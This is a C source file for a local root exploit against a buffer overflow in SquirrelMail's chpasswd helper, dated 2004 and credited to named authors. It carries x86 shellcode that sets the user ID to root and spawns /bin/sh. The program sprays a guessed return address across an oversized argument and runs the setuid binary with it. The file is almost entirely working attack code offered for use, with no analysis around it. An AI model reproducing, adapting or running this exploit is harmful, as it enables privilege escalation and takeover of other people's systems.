/*
 * 0x3142-sq-chpasswd.c
 * Squirremail chpasswd buffer overflow.
 *
 * Tested on SuSE 9.
 * The bug was found by Matias Neiff <matias[at]neiff.com.ar>
 * Coded by x314 <0x3142[at]hushmail.com>
 * (c) 2004 Copyright by x314.
 * All Rights Reserved.
 *
 * Greets: m0s krewz. 
 *
 */

#include <stdlib.h>

char shellcode[]=
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

int main(int argc, char *argv[])
{
  char *env[2] = {shellcode, NULL};
  int i;
  long ret, *addr_ptr;
  char *buffer, *ptr;

  buffer = malloc(200);

  printf("\n*** Squirremail chpasswd local root exploit by 0x3142@hushmail.com ***\n\n");

  if(argc != 2) {
    printf("Usage: %s <path-to-chpasswd>\n\n",argv[0]);
    exit(0);
  }
  
  ret = 0xbffffffa - strlen(shellcode) - strlen(argv[1]);

//  printf("Using ret = 0x%x\n\n", ret);

  ptr = buffer;
  addr_ptr = (long *) ptr;
  for(i=0; i < 200; i+=4)
  {
    *(addr_ptr++) = ret;
  }

  buffer[200-1] = 0;

  execle(argv[1], "chpasswd", buffer, "0x314", "m0s", 0, env);

  free(buffer);
  
  return 0;
}